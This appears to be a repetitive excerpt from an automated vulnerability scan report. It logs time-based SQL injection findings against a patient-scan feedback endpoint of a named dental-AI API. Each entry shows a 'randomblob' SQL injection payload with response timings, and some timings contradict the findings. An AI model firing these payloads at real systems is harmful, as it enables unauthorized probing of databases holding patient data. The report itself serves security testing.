The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,238] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,536] milliseconds, when the original unmodified query with value [Restoration Crown] took [758] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,238] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,536] milliseconds, when the original unmodified query with value [Restoration Crown] took [758] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,311] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,396] milliseconds, when the original unmodified query with value [Dental Caries] took [765] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,311] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,396] milliseconds, when the original unmodified query with value [Dental Caries] took [765] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,035] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,186] milliseconds, when the original unmodified query with value [Dental Caries] took [2,111] milliseconds.

The query time is controllable using parameter value [case randomblob(1000000) when not

Other Info	<p>null then 1 else 1 end], which caused the request to take [1,035] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,186] milliseconds, when the original unmodified query with value [Dental Caries] took [2,111] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(1000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,266] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,607] milliseconds, when the original unmodified query with value [Dental Caries] took [1,547] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,266] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,607] milliseconds, when the original unmodified query with value [Dental Caries] took [1,547] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(10000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,246] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,082] milliseconds, when the original unmodified query with value [Dental Caries] took [1,278] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,246] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,082] milliseconds, when the original unmodified query with value [Dental Caries] took [1,278] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(10000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,600] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,624] milliseconds, when the original unmodified query with value [Fixed Prosthesis] took [769] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,600] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,624] milliseconds, when the original unmodified query with value [Fixed Prosthesis] took [769] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,023] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,368] milliseconds, when the original unmodified query with value [248] took [1,544] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [2,023] milliseconds, parameter</p>

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,368] milliseconds, when the original unmodified query with value [248] took [1,544] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,311] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,964] milliseconds, when the original unmodified query with value [1094] took [1,730] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,311] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,964] milliseconds, when the original unmodified query with value [1094] took [1,730] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,855] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,962] milliseconds, when the original unmodified query with value [103] took [262] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,855] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,962] milliseconds, when the original unmodified query with value [103] took [262] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,906] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,541] milliseconds, when the original unmodified query with value [794] took [4,978] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,906] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,541] milliseconds, when the original unmodified query with value [794] took [4,978] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,902] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,658] milliseconds, when the original unmodified query with value [244] took [1,904] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,902] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,658] milliseconds, when the original unmodified query with value [244] took [1,904] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,078] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,359] milliseconds, when the original unmodified query with value [False] took [796] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,078] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,359] milliseconds, when the original unmodified query with value [False] took [796] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,007] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,301] milliseconds, when the original unmodified query with value [False] took [1,244] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,007] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,301] milliseconds, when the original unmodified query with value [False] took [1,244] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,159] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,343] milliseconds, when the original unmodified query with value [UNIVERSAL] took [891] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,159] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,343] milliseconds, when the original unmodified query with value [UNIVERSAL] took [891] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,528] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,816] milliseconds, when the original unmodified query with value [Finding (s)] took [930] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,528] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,816] milliseconds, when the original unmodified query with value [Finding (s)] took [930] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,097] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,546] milliseconds, when the original unmodified query with value [20] took [774] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,097] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,546] milliseconds, when the original unmodified query with value [20] took [774] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,360] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,696] milliseconds, when the original unmodified query with value [35] took [3,611] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,360] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,696] milliseconds, when the original unmodified query with value [35] took [3,611] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,021] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,510] milliseconds, when the original unmodified query with value [319] took [4,865] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,021] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,510] milliseconds, when the original unmodified query with value [319] took [4,865] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,124] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,132] milliseconds, when the original unmodified query with value [594] took [918] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,124] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,132] milliseconds, when the original unmodified query with value [594] took [918] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,288] milliseconds,
Evidence	parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,912] milliseconds, when the original unmodified query with value [65] took [267] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,288] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,912] milliseconds, when the original unmodified query with value [65] took [267] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,005] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,360] milliseconds, when the original unmodified query with value [0] took [772] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,005] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,360] milliseconds, when the original unmodified query with value [0] took [772] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,041] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,691] milliseconds, when the original unmodified query with value [312] took [310] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,041] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,691] milliseconds, when the original unmodified query with value [312] took [310] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,101] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [8,013] milliseconds, when the original unmodified query with value [1018] took [257] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,101] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [8,013] milliseconds, when the original unmodified query with value [1018] took [257] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,104] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,368] milliseconds, when the original unmodified query with value [517] took [773] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,104] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,368] milliseconds, when the original unmodified query with value [517] took [773] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,109] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,517] milliseconds, when the original unmodified query with value [551] took [1,080] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,109] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,517] milliseconds, when the original unmodified query with value [551] took [1,080] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,115] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,388] milliseconds, when the original unmodified query with value [741] took [788] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,115] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,388] milliseconds, when the original unmodified query with value [741] took [788] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,125] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,262] milliseconds, when the original unmodified query with value [866] took [825] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,125] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,262] milliseconds, when the original unmodified query with value [866] took [825] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,161] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,594] milliseconds, when the original unmodified query with value [329] took [770] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,161] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the
Info	request to take [2,594] milliseconds, when the original unmodified query with value [329] took [770] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,164] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,320] milliseconds, when the original unmodified query with value [453] took [1,062] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,164] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,320] milliseconds, when the original unmodified query with value [453] took [1,062] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,251] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,941] milliseconds, when the original unmodified query with value [334] took [615] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,251] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,941] milliseconds, when the original unmodified query with value [334] took [615] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,259] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,578] milliseconds, when the original unmodified query with value [329] took [979] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,259] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,578] milliseconds, when the original unmodified query with value [329] took [979] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,277] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,564] milliseconds, when the original unmodified query with value [349] took [898] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,277] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,564] milliseconds, when the original unmodified query with value [349] took [898] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,291] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,425] milliseconds, when the original unmodified query with value [0] took [774] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,291] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,425] milliseconds, when the original unmodified query with value [0] took [774] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,336] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,157] milliseconds, when the original unmodified query with value [1389] took [641] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,336] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,157] milliseconds, when the original unmodified query with value [1389] took [641] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,359] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,812] milliseconds, when the original unmodified query with value [327] took [1,233] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,359] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,812] milliseconds, when the original unmodified query with value [327] took [1,233] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,412] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,544] milliseconds, when the original unmodified query with value [344] took [899] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,412] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,544] milliseconds, when the original unmodified query with value [344] took [899] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,438] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,763] milliseconds, when the original unmodified query with value [400] took [791] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,438] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,763] milliseconds, when the original unmodified query with value [400] took [791] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,438] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,845] milliseconds, when the original unmodified query with value [473] took [1,128] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,438] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,845] milliseconds, when the original unmodified query with value [473] took [1,128] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,461] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,623] milliseconds, when the original unmodified query with value [507] took [1,105] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,461] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,623] milliseconds, when the original unmodified query with value [507] took [1,105] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,506] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,658] milliseconds, when the original unmodified query with value [488] took [1,418] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,506] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,658] milliseconds, when the original unmodified query with value [488] took [1,418] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,579] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the

request to take [2,300] milliseconds, when the original unmodified query with value [602] took [767] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,579] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,300] milliseconds, when the original unmodified query with value [602] took [767] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,687] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,027] milliseconds, when the original unmodified query with value [885] took [1,554] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,687] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,027] milliseconds, when the original unmodified query with value [885] took [1,554] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,743] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,904] milliseconds, when the original unmodified query with value [716.8313725490195] took [1,465] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,743] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,904] milliseconds, when the original unmodified query with value [716.8313725490195] took [1,465] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,751] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,920] milliseconds, when the original unmodified query with value [466] took [1,049] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,751] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,920] milliseconds, when the original unmodified query with value [466] took [1,049] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,773] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,667] milliseconds, when the original unmodified query with value [0] took [777] milliseconds.

The query time is controllable using parameter value [case randomblob(100000) when not

Other Info	<p>null then 1 else 1 end], which caused the request to take [1,773] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,667] milliseconds, when the original unmodified query with value [0] took [777] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,787] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,909] milliseconds, when the original unmodified query with value [351] took [795] milliseconds.</p>
